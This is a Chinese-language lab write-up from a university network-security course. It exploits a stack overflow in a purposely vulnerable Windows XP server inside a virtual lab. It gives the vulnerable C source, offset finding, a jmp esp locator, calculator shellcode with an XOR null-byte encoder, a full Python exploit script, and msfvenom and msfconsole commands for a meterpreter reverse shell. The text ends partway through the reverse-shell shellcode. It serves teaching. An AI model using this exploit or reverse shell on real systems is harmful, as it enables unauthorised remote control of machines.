0x01 写在前面

本文就本学期的一门课程《网络攻防技术》的一次作业进行了比较详细的记录,旨在加深对栈溢出过程的原理的理解。限于个人认知有限,文中若有纰漏还请指出批评。本文记录的是一个最基本最简单的栈溢出实例,通过构造payload对一个存在漏洞的服务器进行攻击,从而拿到对方的shell。

使用 msf 一键搞定 or 结合 pwntools 也可以搞定,但不是本文的目的。

同时,希望读者知道有个东西叫做《网络安全法》,请勿在未授权的情况下做任何的尝试。本实验仅在搭建的虚拟环境中实施。

0x02 实验背景

本次实验全部在自己的虚拟机中完成。

攻击机:kali2020

靶机:Lite XP

实验中给定了一个server的c源代码,要求对其进行攻击获取shell。

0x03 实验过程

源码分析

首先分析存在漏洞的源码,源码文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <iostream>
#include <winsock.h>
#include <windows.h>
#include <stdio.h>

//load windows socket
#pragma comment(lib, "wsock32.lib")
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void pr( char *str)
{
char buf[500]="";
strcpy(buf,str); // 未对传入的 str 进行长度判断,直接复制到了 buf中,而buf长度500小于message长度5000,因此这里会溢出。
printf(buf);
}

void sError(char *str)
{
MessageBox (NULL, str, "socket Error" ,MB_OK);
WSACleanup();
}

int main(int argc, char **argv)
{
printf("\nServer Start.....\n");
WORD sockVersion;
WSADATA wsaData;
int rVal;
char Message[5000]="";
char buf[2000]="";
u_short LocalPort;
LocalPort = 50002;
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf("\nConnection Closed.\n");
break;
}
}
//Pass the data received to the function pr
pr(Message);
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
WSACleanup();
return SS_OK;
}

简单分析即可发现在源文件的第15行存在一个漏洞,函数 strcpy 未对复制长度进行限制。从客户端上传是数据最长可以有5000个字节,而函数 pr 中申请的空间只有500个字节,从而存在一个栈的覆盖危险。

图1 注入点-1

图2 注入点-2

windebug 定位溢出点

在上述分析的基础上还需要定位程序的溢出点在偏移,从而确定shellcode的插入位置。

这里使用 windebug 软件对目标 server 编译的程序进行调试来确定溢出的位置。

生成随机字符串

利用程序生成一串随机字符串,这个字符串没有什么特殊的地方,仅仅是避免全部填充一样的 A 字符而无法进行定位,这样的随机串重复的概率很低,即可以通过报错的信息定位溢出点。

1
eMoozeSgto1sh5mLovZFX8CRfIyw3INK7eTZrEN5cAd7Bmq02tHzDp2EuPjVFmEcXhzNUMlGDj12MjutSygDnh92zPoqT217646JUW0Kit0XuuYXd0WHMm0Afxuw1Pk59NtFJo7K0UNglb0ZktjWV3V9SFyT2nhI3uAY0Zjg5QqGkVZ8AjAGS2cc9o5aAXX1OYIwHh0LkFsHjt9a67yc9LJDmZ5ZkEZupnDmetxE6itPG5K6RFLxD1hgKUF2uZhuUs8fhcNI2cQWQytTsehNxIC4CFgSWvmIEwGff4YJ0egA4TdznCoOBs4qkUvzVuoLNAiEtdnQdGbpRLhlQr4BKyDdBkIdHWGfOlG9r2pzyVKlOqc04GAM5GyHPjTLxUtXZYLdetkhbyxwkYzC1XX82nFRgeB3iWVWoOQ8h0kQK4Z58HvKOKFXM8S8SBFbcjXkcGzIwvpxlhi3cB0WjyGiiSopFFc6ufamwfGyaehKowXSJa9l9xXAHKPc1sMuRC8RkVUqm2Z3DYNxpSD4dmLdNAFE0F1kpTXXVKYo3jydqPgRXNkmqvy0KSqnLbe1BhIYITgaAQpPmDs6y9xLnbLAS5yUja15Y0smgectWIebHQUJrpElR5dhvgYrnenWhivpbKWVlCyDUrpAbriIk9usAMst5Oj7ytayAGw7qFIZ1W9mhdHScSNjz4sO7pNz

发送字符串

利用python简单编写一个发送数据的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#服务器主机名和端口
serverName = '192.168.195.129'
serverPort = 50002

# 发送 shellcode
def sendPayload(payload):

#客户端创建基于TCP的socket
clientSocket = socket(AF_INET, SOCK_STREAM)

#客户端向服务器发送连接建立请求
try:
clientSocket.connect((serverName,serverPort))
except:
print("fail to connect.")
sys.exit(0)

# 发送payload
clientSocket.send(payload)

#客户端关闭TCP连接
clientSocket.close()

然后将上述的随机字符串进行发送。

1
2
s = b'eMoozeSgto1sh5mLovZFX8CRfIyw3INK7eTZrEN5cAd7Bmq02tHzDp2EuPjVFmEcXhzNUMlGDj12MjutSygDnh92zPoqT217646JUW0Kit0XuuYXd0WHMm0Afxuw1Pk59NtFJo7K0UNglb0ZktjWV3V9SFyT2nhI3uAY0Zjg5QqGkVZ8AjAGS2cc9o5aAXX1OYIwHh0LkFsHjt9a67yc9LJDmZ5ZkEZupnDmetxE6itPG5K6RFLxD1hgKUF2uZhuUs8fhcNI2cQWQytTsehNxIC4CFgSWvmIEwGff4YJ0egA4TdznCoOBs4qkUvzVuoLNAiEtdnQdGbpRLhlQr4BKyDdBkIdHWGfOlG9r2pzyVKlOqc04GAM5GyHPjTLxUtXZYLdetkhbyxwkYzC1XX82nFRgeB3iWVWoOQ8h0kQK4Z58HvKOKFXM8S8SBFbcjXkcGzIwvpxlhi3cB0WjyGiiSopFFc6ufamwfGyaehKowXSJa9l9xXAHKPc1sMuRC8RkVUqm2Z3DYNxpSD4dmLdNAFE0F1kpTXXVKYo3jydqPgRXNkmqvy0KSqnLbe1BhIYITgaAQpPmDs6y9xLnbLAS5yUja15Y0smgectWIebHQUJrpElR5dhvgYrnenWhivpbKWVlCyDUrpAbriIk9usAMst5Oj7ytayAGw7qFIZ1W9mhdHScSNjz4sO7pNz'
sendPayload(s)

图3 发送随机串

windebug 查看报错信息

生成上述的随机字符串之后,在XP中运行server程序,kali将上述的随机串进行发送,在 windebug 中查看报错的信息。

图4 windebug调试

图5 报错信息

从上述的报错信息中可以看到 eip = 0x754d7331, esp = 0x0012e220。

简单处理翻译一下,可以知道 eip 的值是 1sMu。(chr(0x75) = ‘u’, chr(0x4d) = ‘M’, chr(0x73) = ‘s’, chr(0x31) = ‘1’) 注意,intel处理器是小端存储,需要反转过来。 在原来输入串中查找 1sMu 即可找到溢出点偏移。即我们的输入的数据覆盖了 eip 的值,因此可以利用此实现对目标机器的控制。

图6 确定偏移

因此这个有效偏移就是 eMoo……HKPc

1
eMoozeSgto1sh5mLovZFX8CRfIyw3INK7eTZrEN5cAd7Bmq02tHzDp2EuPjVFmEcXhzNUMlGDj12MjutSygDnh92zPoqT217646JUW0Kit0XuuYXd0WHMm0Afxuw1Pk59NtFJo7K0UNglb0ZktjWV3V9SFyT2nhI3uAY0Zjg5QqGkVZ8AjAGS2cc9o5aAXX1OYIwHh0LkFsHjt9a67yc9LJDmZ5ZkEZupnDmetxE6itPG5K6RFLxD1hgKUF2uZhuUs8fhcNI2cQWQytTsehNxIC4CFgSWvmIEwGff4YJ0egA4TdznCoOBs4qkUvzVuoLNAiEtdnQdGbpRLhlQr4BKyDdBkIdHWGfOlG9r2pzyVKlOqc04GAM5GyHPjTLxUtXZYLdetkhbyxwkYzC1XX82nFRgeB3iWVWoOQ8h0kQK4Z58HvKOKFXM8S8SBFbcjXkcGzIwvpxlhi3cB0WjyGiiSopFFc6ufamwfGyaehKowXSJa9l9xXAHKPc

VC6 debug 确定 esp 无误

通过F11打开VC6的调试模式,在 pr 函数中printf的地方打上断点,避免程序崩溃。然后运行程序,重复前面的发包,查看 esp = 0x0012e220 地址处的值。

图8 VC6调试

可以看到 eip 偏移后面就是 esp 指向的地址。而栈溢出中一个常用的手法就是利用 jmp esp 指令来实现攻击。从上面的分析中,若我们将 1sMu (覆盖 eip 的字符)替换为 jmp esp 指令的地址,将 RC8…… (esp 指向的地址)处覆盖为我们的shellcode,即可完成此次的攻击。

确定 jmp esp 指令位置

为了执行上述的跳转一个关键步骤就是需要找到一个可以利用的 jmp esp 指令的地址。由于用户端 user32.dll 在一般情况下都必然常驻内存中,因此可以在其中去获取我们需要利用的 jmp esp 的地址。本着不重复造轮子的原则,我随便在网上找了一个可以获取目标机器实时 jmp esp 地址的程序轮子(侵删),将其中的查找依赖修改为了 user32.dll ,直接编译运行,点击就送,得到了目标机器上的 jmp esp 的地址为 \x7b\x46\x86\x7c(intel 小端需要反过来)。

图9 jmp esp位置

上述的轮子代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include<windows.h>
#include<iostream>
#include<cstdio>
#include<tchar.h>
using namespace std;
int main()
{
int nRetCode=0;
bool we_load_it=false;
HINSTANCE h;
TCHAR dllname[]=_T("kernel32");
h=GetModuleHandle(dllname);

if(h==NULL){
h=LoadLibrary(dllname);
if(h==NULL){
cout<<"ERROR LOADING DLL:"<<dllname<<endl;
return 1;
}
we_load_it=true;
}

BYTE* ptr=(BYTE*)h;
bool done=false;

for(int y=0;!done;y++){
try{
if(ptr[y]==0xFF&&ptr[y+1]==0xE4){
int pos=(int)ptr+y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...){
cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
done=true;
}
}

if(we_load_it)
FreeLibrary(h);

return nRetCode;
}

shellcode弹出计算器

为了检验上述的分析是否正确,可以在正式完成反弹shellcode的编写前完成一个计算器弹出。本着不重复造轮子的原则,我们随便在网上找了一个弹出计算器的shellcode。

1
\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33

然后根据前面的分析,只需要将发送的随机字符在合适的位置进行截断,然后拼接 jmp esp 的地址和找到的轮子shellcode。构成最终的payload。然后点击就送,可以发现运行此python脚本之后,服务端就会弹出一个计算器,证明我们的溢出执行指令是可行的。

1
2
3
4
5
6
7
8
# 未 encode 的计算器
def noEncodeCalc():

shellcode = b'\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33'

payload = offset + jmp_esp + shellcode

sendPayload(payload)

运行之前先在xp中启动服务端程序

图10 启动服务器

运行之后即可在服务端看到弹出的计算器

图11 弹出计算器

shellcode 编码

由于上述的计算器shellcode代码中无 \x00 特殊字符,因此可以一瞬成功。但是并不能保证每中shellcode都能通用,因此对shellcode进行编码绕过特殊字符是非常有必要的。根据上课讲授的思想,可以通过某种异或的方式来对原来的shellcode进行异或编码。然后在服务端运行一个解码函数先对shellcode进行解码,然后再执行shellcode就可以避免被截断从而被攻击。

然后可以依照ppt上的指示,适当修改代码中需要解码的shellcode的长度和编码的key,然后编写汇编代码,放入VC6中进行编译,然后copy这个编译完毕的decode码,并将自己的shellcode进行编码即可拼接。

下面是解码函数的汇编代码,只需要修改对应的key和长度即可。在VC6中 F10 打开 debug 模式可以获取其机器码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <windows.h>
int main(int argc, char** argv)
{
__asm{
jmp decode_end
decode_start:
pop edx
dec edx
xor ecx,ecx
mov cx,0x300
decode_loop:
xor byte ptr [edx+ecx], 0x1
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
}
}

图12 decode汇编源码

图13 汇编转机器码

小插曲

如上图中通过调试和编译即可以获得准确的decode函数的机器码。然后进行拼接shellcode即可以完成。但是!!!上述的代码中有一个致命的错误!!!这份decode码是专门用于躲掉“\x00”的,但是它自己却整了个“\x00”???好叭别担心,我们从上述的汇编源码中可以很清楚看到这个“\x00”是来源于解码的长度,只需要修改一下长度即可。

好的,对于老师所说:“思考为什么是 0x97 而不是其他的”,我的结论是无所谓是否是 0x97,只需要shellcode中没有这个字符就可以了,key的枚举范围可以是 0x01~0xff这个范围,一个有效的shellcode能同时包含这些所有的字符的概率是非常小的。因此,随便枚举一个合适的key是可行的,并且是方便的

但是非要追求完美,也可以自己实现一个完美的可以解决的思路,(此想法来源于室友)。即对所有的字符都选用key为 0x77,则只有当shellcode中出现的 0x77 会出现 0x00 截断。但是可以将原来的 0x77 转化为 0xff 0x77,而将原来的 0x88 转化为 0xff 0x88。而解码的时候,遇到上述转义的双字节即可解码为一个单字节。上述的编码即可以保证最极端的情况下也可以绕过 0x00

限于我暂时没有学过汇编 (问就是我太菜了) ,只能勉强看懂前面的汇编代码,因此这里没有对这个想法进行实现。

shellcode 编码的计算器弹出

有了上述的基础,只需要将shellcode放入编码函数中进行一个编码即可。有了上述的编码函数,我们点击就送一下。发现编码的shellcode还是可以成功弹出计算器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# encode 的 计算器
def encodeCalc():

s = b'\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33'
encodeShellcode(s)

# payload 的前面字段
offset = b'\x65\x4d\x6f\x6f\x7a\x65\x53\x67\x74\x6f\x31\x73\x68\x35\x6d\x4c\x6f\x76\x5a\x46\x58\x38\x43\x52\x66\x49\x79\x77\x33\x49\x4e\x4b\x37\x65\x54\x5a\x72\x45\x4e\x35\x63\x41\x64\x37\x42\x6d\x71\x30\x32\x74\x48\x7a\x44\x70\x32\x45\x75\x50\x6a\x56\x46\x6d\x45\x63\x58\x68\x7a\x4e\x55\x4d\x6c\x47\x44\x6a\x31\x32\x4d\x6a\x75\x74\x53\x79\x67\x44\x6e\x68\x39\x32\x7a\x50\x6f\x71\x54\x32\x31\x37\x36\x34\x36\x4a\x55\x57\x30\x4b\x69\x74\x30\x58\x75\x75\x59\x58\x64\x30\x57\x48\x4d\x6d\x30\x41\x66\x78\x75\x77\x31\x50\x6b\x35\x39\x4e\x74\x46\x4a\x6f\x37\x4b\x30\x55\x4e\x67\x6c\x62\x30\x5a\x6b\x74\x6a\x57\x56\x33\x56\x39\x53\x46\x79\x54\x32\x6e\x68\x49\x33\x75\x41\x59\x30\x5a\x6a\x67\x35\x51\x71\x47\x6b\x56\x5a\x38\x41\x6a\x41\x47\x53\x32\x63\x63\x39\x6f\x35\x61\x41\x58\x58\x31\x4f\x59\x49\x77\x48\x68\x30\x4c\x6b\x46\x73\x48\x6a\x74\x39\x61\x36\x37\x79\x63\x39\x4c\x4a\x44\x6d\x5a\x35\x5a\x6b\x45\x5a\x75\x70\x6e\x44\x6d\x65\x74\x78\x45\x36\x69\x74\x50\x47\x35\x4b\x36\x52\x46\x4c\x78\x44\x31\x68\x67\x4b\x55\x46\x32\x75\x5a\x68\x75\x55\x73\x38\x66\x68\x63\x4e\x49\x32\x63\x51\x57\x51\x79\x74\x54\x73\x65\x68\x4e\x78\x49\x43\x34\x43\x46\x67\x53\x57\x76\x6d\x49\x45\x77\x47\x66\x66\x34\x59\x4a\x30\x65\x67\x41\x34\x54\x64\x7a\x6e\x43\x6f\x4f\x42\x73\x34\x71\x6b\x55\x76\x7a\x56\x75\x6f\x4c\x4e\x41\x69\x45\x74\x64\x6e\x51\x64\x47\x62\x70\x52\x4c\x68\x6c\x51\x72\x34\x42\x4b\x79\x44\x64\x42\x6b\x49\x64\x48\x57\x47\x66\x4f\x6c\x47\x39\x72\x32\x70\x7a\x79\x56\x4b\x6c\x4f\x71\x63\x30\x34\x47\x41\x4d\x35\x47\x79\x48\x50\x6a\x54\x4c\x78\x55\x74\x58\x5a\x59\x4c\x64\x65\x74\x6b\x68\x62\x79\x78\x77\x6b\x59\x7a\x43\x31\x58\x58\x38\x32\x6e\x46\x52\x67\x65\x42\x33\x69\x57\x56\x57\x6f\x4f\x51\x38\x68\x30\x6b\x51\x4b\x34\x5a\x35\x38\x48\x76\x4b\x4f\x4b\x46\x58\x4d\x38\x53\x38\x53\x42\x46\x62\x63\x6a\x58\x6b\x63\x47\x7a\x49\x77\x76\x70\x78\x6c\x68\x69\x33\x63\x42\x30\x57\x6a\x79\x47\x69\x69\x53\x6f\x70\x46\x46\x63\x36\x75\x66\x61\x6d\x77\x66\x47\x79\x61\x65\x68\x4b\x6f\x77\x58\x53\x4a\x61\x39\x6c\x39\x78\x58\x41\x48\x4b\x50\x63'

# jmp esp
jmp_esp = b'\x7b\x46\x86\x7c'

def encodeShellcode(shellcode, length = 0x501):
"""
第一个参数是 需要编码的 shellcode 字节
第二个参数是其长度
"""

# 返回 key 和 编码后的 shellcode 字节
key, shellcode_encode = getKey(shellcode)

# 通过 key 和 长度来确定要发送的 decode 函数的字节
decode_code = getDecode(key, length)

payload = offset + jmp_esp + decode_code + shellcode_encode

sendPayload(payload)


# 得到将 shellcode 进行解码的函数的 code
def getDecode(key = 0x97, shellcodeLength = 0x501):
"""
目前先整个 0x501 个字节,生成解码函数的字节码
"""

# 不想整太麻烦了 就写至少 3 位吧
shellcodeLength = max(0x501, shellcodeLength)

if shellcodeLength > 0xffff:
raise Exception("payload 的长度太长了 (我还没研究太长会怎么样)")

assert key <= 0xff, "key 太长了 (这种简单的编码方法不适用于这个 payload)"


lenNeedDecode = bytes([shellcodeLength % 256]) + bytes([shellcodeLength//256])

if lenNeedDecode[0] == 0 or lenNeedDecode[1] == 0:
raise Exception(r"decode 函数中有 '\x00' 请检查长度")

# 解码函数的编码后 code
decode_code = b'\xEB\x10\x5A\x4A\x33\xC9\x66\xB9' + lenNeedDecode + b'\x80\x34\x0A' + bytes([key]) + b'\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF'

return decode_code


def getKey(s):
"""
s shellcode 机器码
"""
ans = b''
key = 0x01
while key <= 0xff:
temp = 0x01
x = []
for i in s:
temp = i ^ key
x.append(temp)
if temp == 0x00:
break
if temp == 0x00:
key += 1
else:
for i in x:
ans += bytes([i]) # int to bytes

return key, ans

在服务端启动server程序后,运行上述的攻击代码,就可以实现弹出一个计算器。

图14 弹出计算器

反弹shell的编码使用

反弹shell的编写在上述都成功的基础上,此问题即已经变得很简单了。只需要编写一个连接回来的客户端shellcode代码,然后将shellcode修改覆盖原来的shellcode即可完成反弹shell的实现。

这里本着不重复造轮子的原则我们可以使用msf提供的工具来生成这个反弹shell的程序。

使用命令

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.195.128 lport=8964 > apu2.bin

可以生成一个反弹shell的二进制文件,将其打开填入上述原来的shellcode的位置中即可完成。

本来 msf 可以自己设定编码绕过特殊字符的,但是我这波没有跑起来就放弃了,还是自己写了。

图15 生成反弹shell

图16 反弹马HEX

于是在上述的程序中,修改了一下shellcode即可完成了这个点击就送。使用 msf 就可以在终端中进行监听了。使用命令如下:

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.195.128
set lport 8964
exploit

图17 kali监听

然后在服务端运行server程序,运行攻击脚本,然后点击就送,运行python脚本就可以获得shell了。

图18 接收shell

如上图所示,可以任意执行xp下面的命令,对xp进行控制。查看对方的IP,让对方关机等等,这个机器就完全被控制了。可以看到xp就被关机了。

图19 远程执行关机命令

图20 xp关机

通过上述的实验成功实现了远程反弹shell的编写利用。

0x04 实验脚本

hack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
# xor encode同ppt参考: https://www.guhei.net/post/jb635 
# msf 参考 https://www.cnblogs.com/clever-universe/p/8691365.html

from socket import *
import sys


#服务器主机名和端口
# serverName = '10.132.15.137'
serverName = '192.168.195.129'
serverPort = 50002


# 发送 shellcode
def sendPayload(payload):

#客户端创建基于TCP的socket
clientSocket = socket(AF_INET, SOCK_STREAM)

#客户端向服务器发送连接建立请求
try:
clientSocket.connect((serverName,serverPort))
except:
print("fail to connect.")
sys.exit(0)


# 发送payload
clientSocket.send(payload)

# # 接收服务端的内容
# modifiedSentence = clientSocket.recv(1024)

# # 打印接受的东西
# print(modifiedSentence.decode())

#客户端关闭TCP连接
clientSocket.close()



# payload 的前面字段
offset = b'\x65\x4d\x6f\x6f\x7a\x65\x53\x67\x74\x6f\x31\x73\x68\x35\x6d\x4c\x6f\x76\x5a\x46\x58\x38\x43\x52\x66\x49\x79\x77\x33\x49\x4e\x4b\x37\x65\x54\x5a\x72\x45\x4e\x35\x63\x41\x64\x37\x42\x6d\x71\x30\x32\x74\x48\x7a\x44\x70\x32\x45\x75\x50\x6a\x56\x46\x6d\x45\x63\x58\x68\x7a\x4e\x55\x4d\x6c\x47\x44\x6a\x31\x32\x4d\x6a\x75\x74\x53\x79\x67\x44\x6e\x68\x39\x32\x7a\x50\x6f\x71\x54\x32\x31\x37\x36\x34\x36\x4a\x55\x57\x30\x4b\x69\x74\x30\x58\x75\x75\x59\x58\x64\x30\x57\x48\x4d\x6d\x30\x41\x66\x78\x75\x77\x31\x50\x6b\x35\x39\x4e\x74\x46\x4a\x6f\x37\x4b\x30\x55\x4e\x67\x6c\x62\x30\x5a\x6b\x74\x6a\x57\x56\x33\x56\x39\x53\x46\x79\x54\x32\x6e\x68\x49\x33\x75\x41\x59\x30\x5a\x6a\x67\x35\x51\x71\x47\x6b\x56\x5a\x38\x41\x6a\x41\x47\x53\x32\x63\x63\x39\x6f\x35\x61\x41\x58\x58\x31\x4f\x59\x49\x77\x48\x68\x30\x4c\x6b\x46\x73\x48\x6a\x74\x39\x61\x36\x37\x79\x63\x39\x4c\x4a\x44\x6d\x5a\x35\x5a\x6b\x45\x5a\x75\x70\x6e\x44\x6d\x65\x74\x78\x45\x36\x69\x74\x50\x47\x35\x4b\x36\x52\x46\x4c\x78\x44\x31\x68\x67\x4b\x55\x46\x32\x75\x5a\x68\x75\x55\x73\x38\x66\x68\x63\x4e\x49\x32\x63\x51\x57\x51\x79\x74\x54\x73\x65\x68\x4e\x78\x49\x43\x34\x43\x46\x67\x53\x57\x76\x6d\x49\x45\x77\x47\x66\x66\x34\x59\x4a\x30\x65\x67\x41\x34\x54\x64\x7a\x6e\x43\x6f\x4f\x42\x73\x34\x71\x6b\x55\x76\x7a\x56\x75\x6f\x4c\x4e\x41\x69\x45\x74\x64\x6e\x51\x64\x47\x62\x70\x52\x4c\x68\x6c\x51\x72\x34\x42\x4b\x79\x44\x64\x42\x6b\x49\x64\x48\x57\x47\x66\x4f\x6c\x47\x39\x72\x32\x70\x7a\x79\x56\x4b\x6c\x4f\x71\x63\x30\x34\x47\x41\x4d\x35\x47\x79\x48\x50\x6a\x54\x4c\x78\x55\x74\x58\x5a\x59\x4c\x64\x65\x74\x6b\x68\x62\x79\x78\x77\x6b\x59\x7a\x43\x31\x58\x58\x38\x32\x6e\x46\x52\x67\x65\x42\x33\x69\x57\x56\x57\x6f\x4f\x51\x38\x68\x30\x6b\x51\x4b\x34\x5a\x35\x38\x48\x76\x4b\x4f\x4b\x46\x58\x4d\x38\x53\x38\x53\x42\x46\x62\x63\x6a\x58\x6b\x63\x47\x7a\x49\x77\x76\x70\x78\x6c\x68\x69\x33\x63\x42\x30\x57\x6a\x79\x47\x69\x69\x53\x6f\x70\x46\x46\x63\x36\x75\x66\x61\x6d\x77\x66\x47\x79\x61\x65\x68\x4b\x6f\x77\x58\x53\x4a\x61\x39\x6c\x39\x78\x58\x41\x48\x4b\x50\x63'

# jmp esp
jmp_esp = b'\x7b\x46\x86\x7c'

def encodeShellcode(shellcode, length = 0x501):
"""
第一个参数是 需要编码的 shellcode 字节
第二个参数是其长度
"""

# 返回 key 和 编码后的 shellcode 字节
key, shellcode_encode = getKey(shellcode)

# 通过 key 和 长度来确定要发送的 decode 函数的字节
decode_code = getDecode(key, length)

payload = offset + jmp_esp + decode_code + shellcode_encode

sendPayload(payload)


# 得到将 shellcode 进行解码的函数的 code
def getDecode(key = 0x97, shellcodeLength = 0x501):
"""
目前先整个 0x501 个字节,生成解码函数的字节码
"""

# 不想整太麻烦了 就写至少 3 位吧
shellcodeLength = max(0x501, shellcodeLength)

if shellcodeLength > 0xffff:
raise Exception("payload 的长度太长了 (我还没研究太长会怎么样)")

assert key <= 0xff, "key 太长了 (这种简单的编码方法不适用于这个 payload)"


lenNeedDecode = bytes([shellcodeLength % 256]) + bytes([shellcodeLength//256])

if lenNeedDecode[0] == 0 or lenNeedDecode[1] == 0:
raise Exception(r"decode 函数中有 '\x00' 请检查长度")

# 解码函数的编码后 code
decode_code = b'\xEB\x10\x5A\x4A\x33\xC9\x66\xB9' + lenNeedDecode + b'\x80\x34\x0A' + bytes([key]) + b'\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF'

return decode_code


def getKey(s):
"""
s shellcode 机器码
"""
ans = b''
key = 0x01
while key <= 0xff:
temp = 0x01
x = []
for i in s:
temp = i ^ key
x.append(temp)
if temp == 0x00:
break
if temp == 0x00:
key += 1
else:
for i in x:
ans += bytes([i]) # int to bytes

return key, ans



# 未 encode 的计算器
def noEncodeCalc():

shellcode = b'\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33'

payload = offset + jmp_esp + shellcode

sendPayload(payload)


# encode 的 计算器
def encodeCalc():

s = b'\x55\x8B\xEC\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x33'
encodeShellcode(s)



# 使用 msf 的框架
def useMSF():

r"""
使用 msf 的
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.195.128 lport=8964 > apu2.bin

来生成一个shellcode
"""

# shellcode = b'\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x31\xFF\x0F\xB7\x4A\x26\x8B\x72\x28\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x57\x85\xC0\x74\x4C\x01\xD0\x8B\x58\x20\x8B\x48\x18\x50\x01\xD3\x85\xC9\x74\x3C\x31\xFF\x49\x8B\x34\x8B\x01\xD6\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\x89\xE8\xFF\xD0\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x0A\x68\xC0\xA8\xC3\x80\x68\x02\x00\x23\x04\x89\xE6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA